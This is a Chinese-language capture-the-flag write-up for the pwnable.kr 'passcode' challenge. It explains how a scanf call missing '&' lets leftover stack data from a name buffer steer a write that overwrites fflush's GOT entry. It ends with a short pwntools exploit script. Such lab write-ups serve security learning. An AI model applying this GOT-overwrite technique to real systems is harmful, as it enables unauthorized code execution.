pwnable从入门到放弃,第六题。

ssh passcode@pwnable.kr -p2222 (pw:guest)

完全是‘&’的锅。

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}

查看整个流程的业务逻辑,貌似没有什么问题,按照提示给出的编译时出现了warning,现尝试编译:

发现,是在scanf函数时,缺少了一个&号,造成的结果是把passcode变量当做指针,对以passcode值寻址到的内存地址进行覆盖,如果passcode可以被控制,则可造成一个DWORD SHOOT。

如何控制passcode?

首先可以看到在welcome函数中有一个name变量,利用scanf进赋值,但这个赋值是安全的,限定了赋值的长度是100个字大小。

并且,通过代码可以看到在执行了welcome函数后立即执行了login函数,中间没有压栈弹栈操作,也没有开alsr等保护,因此二者的ebp是相同的。而name数组长度是100,因此分配的栈块较大,并且passcode没有赋初值,

可以以栈内脏数据的方式时强行赋予passcode初值(传说中的野指针?)。

看一下长度,通过汇编代码看到name变量的起始地址为 EBP-0X70, passcode变量起始地址为EBP-0X10,相差0X60=96,恰巧还有4个字节用于覆盖passcode的值。

再通过输入passcode的值,就可以成功进行DWORD SHOOT。

由于在scanf后立即执行了flush函数,则可以精确覆盖GOT表中flush函数的入口地址,造成强行修改函数逻辑。

 

通过objdump -R ./passcode命令,可以看到其入口点

在利用gdb 查看system("/bin/cat flag"); 函数的地址,覆盖即可。

使用python pwntools库,可以轻易完成这样的操作。

在操作系统上只有/tmp文件夹是可以写的,因此将写好的脚本放入/tmp下运行即可。

import struct
import pwn
import subprocess

addr = 0x0804a004
name = 'P'*96 + pwn.p32(addr) + str(0x80485e3)

target = pwn.process('/home/passcode/passcode')

#child = subprocess.Popen(args= ['/home/p4nda/Desktop/passcode',str(name)])
target.send(name)
target.interactive()